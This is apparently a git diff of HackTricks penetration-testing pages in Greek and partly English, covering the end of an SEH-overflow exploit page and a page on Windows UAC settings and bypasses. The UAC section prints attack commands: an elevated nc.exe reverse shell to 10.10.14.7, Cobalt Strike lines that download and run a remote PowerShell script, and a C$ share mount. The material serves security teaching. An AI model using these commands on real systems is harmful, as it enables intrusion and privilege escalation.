print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
---
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
- x32dbg/x64dbg για να παρατηρήσετε το SEH chain και να τριάρετε το crash.
|
||||
- ERC.Xdbg (x64dbg plugin) για να απαριθμήσετε SEH gadgets: `ERC --SEH`.
|
||||
- Mona ως εναλλακτική: `!mona modules`, `!mona seh`.
|
||||
- nasmshell για να συναρμολογήσετε short/near jumps και να αντιγράψετε raw opcodes.
|
||||
- pwntools για να κατασκευάσετε ακριβή network payloads.
|
||||
|
||||
---
|
||||
|
||||
## Σημειώσεις και επιφυλάξεις
|
||||
|
||||
- Ισχύει μόνο για x86 διαδικασίες. Το x64 χρησιμοποιεί διαφορετικό SEH scheme και η εκμετάλλευση βασισμένη σε SEH γενικά δεν είναι βιώσιμη.
|
||||
- Προτιμήστε gadgets σε modules χωρίς SafeSEH και ASLR· αλλιώς, βρείτε ένα μη προστατευμένο module φορτωμένο στη διαδικασία.
|
||||
- Τα service watchdogs που επανεκκινούν αυτόματα μετά από crash μπορούν να διευκολύνουν την επαναληπτική ανάπτυξη exploit.
|
||||
|
||||
## Αναφορές
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,89 +1,90 @@
|
||||
# UAC - User Account Control
|
||||
# UAC - Έλεγχος Λογαριασμού Χρήστη
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που επιτρέπει μια **προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες**. Οι εφαρμογές έχουν διαφορετικά επίπεδα `integrity`, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν είναι ενεργοποιημένο το UAC, οι εφαρμογές και οι εργασίες εκτελούνται πάντα **υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για να εκτελούνται. Είναι μια δυνατότητα ευκολίας που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που ενεργοποιεί ένα **πρότυπο συναίνεσης για ανυψωμένες ενέργειες**. Οι εφαρμογές έχουν διαφορετικά `integrity` επίπεδα, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν το UAC είναι ενεργοποιημένο, οι εφαρμογές και οι εργασίες πάντα **εκτελούνται στο πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή για να εκτελεστούν. Είναι μια λειτουργία άνεσης που προστατεύει τους διαχειριστές από ανεπιθύμητες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τα integrity επίπεδα:
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τα επίπεδα ακεραιότητας:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Όταν είναι σε εφαρμογή το UAC, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή.
|
||||
Όταν το UAC είναι ενεργό, σε έναν χρήστη διαχειριστή δίνονται 2 tokens: ένα κλειδί τυπικού χρήστη, για να εκτελεί τις κανονικές ενέργειες σε κανονικό επίπεδο, και ένα με τα προνόμια του διαχειριστή.
|
||||
|
||||
Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
|
||||
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά διεξοδικά πώς λειτουργεί το UAC και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC ειδικά για τον οργανισμό τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να το ρυθμίσουν και να το αναπτύξουν μέσω Group Policy Objects (GPO) σε περιβάλλον Active Directory. Οι διάφορες ρυθμίσεις συζητώνται με λεπτομέρεια [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Group Policy που μπορούν να οριστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
|
||||
|
||||
| Ρύθμιση Πολιτικής Ομάδας | Κλειδί Μητρώου | Προεπιλεγμένη Ρύθμιση |
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Απενεργοποιημένο |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Απενεργοποιημένο |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Προτροπή για συγκατάθεση για μη Windows δυαδικά |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Προτροπή για διαπιστευτήρια στην ασφαλή επιφάνεια εργασίας |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Ενεργοποιημένο (προεπιλογή για οικιακή χρήση) Απενεργοποιημένο (προεπιλογή για επιχείρηση) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Απενεργοποιημένο |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Ενεργοποιημένο |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Ενεργοποιημένο |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Ενεργοποιημένο |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Ενεργοποιημένο |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Απενεργοποιημένο |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Απενεργοποιημένο |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Ζήτηση διαπιστευτηρίων στην ασφαλή επιφάνεια εργασίας |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Απενεργοποιημένο |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Ενεργοποιημένο |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Ενεργοποιημένο |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Ενεργοποιημένο |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Ενεργοποιημένο |
|
||||
|
||||
### UAC Bypass Theory
|
||||
### Θεωρία Παράκαμψης UAC
|
||||
|
||||
Ορισμένα προγράμματα είναι **αυτοανυψωμένα αυτόματα** αν ο **χρήστης ανήκει** στην **ομάδα διαχειριστών**. Αυτές οι δυαδικές έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Η δυαδική πρέπει επίσης να είναι **υπογεγραμμένη από τη Microsoft**.
|
||||
Ορισμένα προγράμματα ανεβαίνουν αυτόματα σε υψηλότερα προνόμια (autoelevated) αν ο χρήστης ανήκει στην ομάδα διαχειριστών. Αυτά τα δυαδικά περιέχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Το δυαδικό πρέπει επίσης να είναι **υπογεγραμμένο από τη Microsoft**.
|
||||
|
||||
Πολλές διαδικασίες αυτοανύψωσης εκθέτουν **λειτουργικότητα μέσω COM αντικειμένων ή RPC διακομιστών**, που μπορούν να κληθούν από διαδικασίες που εκτελούνται με μέτρια ακεραιότητα (δικαιώματα κανονικού χρήστη). Σημειώστε ότι το COM (Component Object Model) και το RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα προγράμματα Windows για να επικοινωνούν και να εκτελούν λειτουργίες σε διάφορες διαδικασίες. Για παράδειγμα, το **`IFileOperation COM object`** έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (αντιγραφή, διαγραφή, μετακίνηση) και μπορεί να ανυψώσει αυτόματα τα δικαιώματα χωρίς προτροπή.
|
||||
Πολλές διεργασίες auto-elevate εκθέτουν **λειτουργικότητα μέσω COM objects ή RPC servers**, η οποία μπορεί να κληθεί από διεργασίες που τρέχουν με μέσο επίπεδο `integrity` (δικαιώματα σε επίπεδο κανονικού χρήστη). Σημειώστε ότι COM (Component Object Model) και RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα Windows για να επικοινωνούν και να εκτελούν λειτουργίες μεταξύ διαφορετικών διεργασιών. Για παράδειγμα, το **`IFileOperation COM object`** έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (αντιγραφή, διαγραφή, μετακίνηση) και μπορεί να ανεβάσει αυτόματα προνόμια χωρίς προτροπή.
|
||||
|
||||
Σημειώστε ότι μπορεί να εκτελούνται ορισμένοι έλεγχοι, όπως ο έλεγχος αν η διαδικασία εκτελέστηκε από τον **φάκελο System32**, που μπορεί να παρακαμφθεί, για παράδειγμα, **εισάγοντας στο explorer.exe** ή σε άλλη εκτελέσιμη που βρίσκεται στο System32.
|
||||
Σημειώστε ότι ενδέχεται να εκτελεστούν κάποιοι έλεγχοι, όπως έλεγχος αν η διεργασία εκτελέστηκε από τον κατάλογο **System32**, ο οποίος μπορεί να παρακαμφθεί για παράδειγμα με **injecting into explorer.exe** ή σε άλλο εκτελέσιμο που βρίσκεται στο System32.
|
||||
|
||||
Ένας άλλος τρόπος για να παρακαμφθούν αυτοί οι έλεγχοι είναι να **τροποποιηθεί το PEB**. Κάθε διαδικασία στα Windows έχει ένα Block Περιβάλλοντος Διαδικασίας (PEB), το οποίο περιλαμβάνει σημαντικά δεδομένα σχετικά με τη διαδικασία, όπως η διαδρομή του εκτελέσιμου. Τροποποιώντας το PEB, οι επιτιθέμενοι μπορούν να προσποιηθούν (spoof) την τοποθεσία της δικής τους κακόβουλης διαδικασίας, κάνοντάς την να φαίνεται ότι εκτελείται από έναν αξιόπιστο φάκελο (όπως το system32). Αυτή η παραποιημένη πληροφορία εξαπατά το COM αντικείμενο ώστε να ανυψώσει αυτόματα τα δικαιώματα χωρίς να ζητήσει προτροπή από τον χρήστη.
|
||||
Ένας άλλος τρόπος παράκαμψης αυτών των ελέγχων είναι να **τροποποιηθεί το PEB**. Κάθε διεργασία στα Windows έχει ένα Process Environment Block (PEB), το οποίο περιλαμβάνει σημαντικά δεδομένα για τη διεργασία, όπως τη διαδρομή του εκτελέσιμου. Με την τροποποίηση του PEB, οι επιτιθέμενοι μπορούν να ψευδοποιήσουν (spoof) τη θέση της δικής τους κακόβουλης διεργασίας, κάνοντας να φαίνεται ότι τρέχει από έναν αξιόπιστο κατάλογο (όπως το system32). Αυτές οι ψευδείς πληροφορίες ξεγελούν το COM object ώστε να ανεβάσει προνόμια χωρίς να ζητηθεί προτροπή από τον χρήστη.
|
||||
|
||||
Στη συνέχεια, για να **παρακαμφθεί** το **UAC** (ανύψωση από **μέτριο** επίπεδο ακεραιότητας **σε υψηλό**), ορισμένοι επιτιθέμενοι χρησιμοποιούν αυτούς τους τύπους δυαδικών για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψηλού επιπέδου ακεραιότητας**.
|
||||
Στη συνέχεια, για να **παρακαμφθεί** το **UAC** (ανεβάζοντας τα δικαιώματα από **μέσο** επίπεδο `integrity` **σε υψηλό**) κάποιοι επιτιθέμενοι χρησιμοποιούν τέτοιου είδους δυαδικά για να **εκτελέσουν αυθαίρετο κώδικα**, διότι θα εκτελεστεί από μια διεργασία με **υψηλό επίπεδο integrity**.
|
||||
|
||||
Μπορείτε να **ελέγξετε** το _**Manifest**_ μιας δυαδικής χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από το Sysinternals. (`sigcheck.exe -m <file>`) Και μπορείτε να **δείτε** το **επίπεδο ακεραιότητας** των διαδικασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (του Sysinternals).
|
||||
Μπορείτε να **ελέγξετε** το _**Manifest**_ ενός δυαδικού χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από τα Sysinternals. (`sigcheck.exe -m <file>`) Και μπορείτε να **δειτε** το **επίπεδο integrity** των διεργασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (των Sysinternals).
|
||||
|
||||
### Check UAC
|
||||
### Έλεγχος UAC
|
||||
|
||||
Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο, κάντε:
|
||||
Για να επιβεβαιώσετε εάν το UAC είναι ενεργοποιημένο κάντε:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Αν είναι **`1`** τότε το UAC είναι **ενεργοποιημένο**, αν είναι **`0`** ή **δεν υπάρχει**, τότε το UAC είναι **ανενεργό**.
|
||||
Αν είναι **`1`** τότε το UAC είναι **ενεργοποιημένο**, αν είναι **`0`** ή **δεν υπάρχει**, τότε το UAC είναι **απενεργοποιημένο**.
|
||||
|
||||
Στη συνέχεια, ελέγξτε **ποιο επίπεδο** είναι ρυθμισμένο:
|
||||
Στη συνέχεια, ελέγξτε **ποιο επίπεδο** έχει ρυθμιστεί:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- Αν **`0`** τότε, το UAC δεν θα ζητήσει επιβεβαίωση (όπως **απενεργοποιημένο**)
|
||||
- Αν **`1`** ο διαχειριστής **ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης** για να εκτελέσει το δυαδικό αρχείο με υψηλά δικαιώματα (σε Secure Desktop)
|
||||
- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (σε Secure Desktop)
|
||||
- Αν **`3`** όπως το `1` αλλά δεν είναι απαραίτητο σε Secure Desktop
|
||||
- Αν **`4`** όπως το `2` αλλά δεν είναι απαραίτητο σε Secure Desktop
|
||||
- αν **`5`**(**προεπιλογή**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών αρχείων με υψηλά προνόμια
|
||||
- Αν **`0`** τότε, UAC δεν θα ζητήσει προτροπή (όπως **απενεργοποιημένη**)
|
||||
- Αν **`1`** ο διαχειριστής **ζητείται για όνομα χρήστη και κωδικό** για να εκτελέσει το binary με υψηλά δικαιώματα (στο Secure Desktop)
|
||||
- Αν **`2`** (**Always notify me**) η UAC θα ζητάει πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (στο Secure Desktop)
|
||||
- Αν **`3`** όπως το `1` αλλά όχι απαραίτητα στο Secure Desktop
|
||||
- Αν **`4`** όπως το `2` αλλά όχι απαραίτητα στο Secure Desktop
|
||||
- αν **`5`**(**default**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows binaries με υψηλά προνόμια
|
||||
|
||||
Στη συνέχεια, πρέπει να ρίξετε μια ματιά στην τιμή του **`LocalAccountTokenFilterPolicy`**\
|
||||
Αν η τιμή είναι **`0`**, τότε, μόνο ο χρήστης **RID 500** (**ενσωματωμένος Διαχειριστής**) μπορεί να εκτελεί **διοικητικά καθήκοντα χωρίς UAC**, και αν είναι `1`, **όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators"** μπορούν να τα εκτελούν.
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
|
||||
Και, τελικά, ρίξτε μια ματιά στην τιμή του κλειδιού **`FilterAdministratorToken`**\
|
||||
Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός Διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός Διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` έχει οριστεί σε `1`.
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### Περίληψη
|
||||
#### Summary
|
||||
|
||||
- Αν `EnableLUA=0` ή **δεν υπάρχει**, **κανένα UAC για κανέναν**
|
||||
- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=1`, Κανένα UAC για κανέναν**
|
||||
- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=0` και `FilterAdministratorToken=0`, Κανένα UAC για RID 500 (Ενσωματωμένος Διαχειριστής)**
|
||||
- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=0` και `FilterAdministratorToken=1`, UAC για όλους**
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
Όλες αυτές οι πληροφορίες μπορούν να συλλεχθούν χρησιμοποιώντας το **metasploit** module: `post/windows/gather/win_privs`
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
Μπορείτε επίσης να ελέγξετε τις ομάδες του χρήστη σας και να αποκτήσετε το επίπεδο ακεραιότητας:
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
@ -91,28 +92,28 @@ whoami /groups | findstr Level
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC.
|
||||
> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, το UAC bypass είναι απλό καθώς μπορείτε απλώς να κάνετε κλικ στο "Yes" όταν εμφανίζεται το UAC prompt
|
||||
|
||||
Η παράκαμψη UAC είναι απαραίτητη στην εξής κατάσταση: **η UAC είναι ενεργοποιημένη, η διαδικασία σας εκτελείται σε ένα μέσο επίπεδο ακεραιότητας και ο χρήστης σας ανήκει στην ομάδα διαχειριστών**.
|
||||
The UAC bypass is needed in the following situation: **το UAC είναι ενεργοποιημένο, η διαδικασία σας εκτελείται σε περιβάλλον μέσου επιπέδου ακεραιότητας, και ο χρήστης σας ανήκει στην ομάδα Administrators**.
|
||||
|
||||
Είναι σημαντικό να αναφερθεί ότι είναι **πολύ πιο δύσκολο να παρακαμφθεί η UAC αν είναι στο υψηλότερο επίπεδο ασφάλειας (Πάντα) από ότι αν είναι σε οποιοδήποτε από τα άλλα επίπεδα (Προεπιλογή).**
|
||||
It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).**
|
||||
|
||||
### UAC disabled
|
||||
|
||||
Αν η UAC είναι ήδη απενεργοποιημένη (`ConsentPromptBehaviorAdmin` είναι **`0`**) μπορείτε **να εκτελέσετε ένα reverse shell με δικαιώματα διαχειριστή** (υψηλό επίπεδο ακεραιότητας) χρησιμοποιώντας κάτι όπως:
|
||||
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### UAC bypass με αντιγραφή διακριτικού
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Πολύ** Βασικός UAC "bypass" (πλήρης πρόσβαση στο σύστημα αρχείων)
|
||||
### **Πολύ** Βασικό UAC "bypass" (full file system access)
|
||||
|
||||
Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών, μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή).
|
||||
Αν έχετε ένα shell με έναν χρήστη που ανήκει στην Administrators group, μπορείτε να **mount the C$** κοινόχρηστο μέσω SMB (file system) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο file system** (ακόμα και στον Administrator home folder).
|
||||
|
||||
> [!WARNING]
|
||||
> **Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια**
|
||||
@ -123,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC bypass με το Cobalt Strike
|
||||
### UAC bypass with cobalt strike
|
||||
|
||||
Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας του.
|
||||
Οι τεχνικές Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** και **Metasploit** έχουν επίσης αρκετά modules για **bypass** του **UAC**.
|
||||
**Empire** και **Metasploit** έχουν επίσης αρκετά modules για να **bypass** το **UAC**.
|
||||
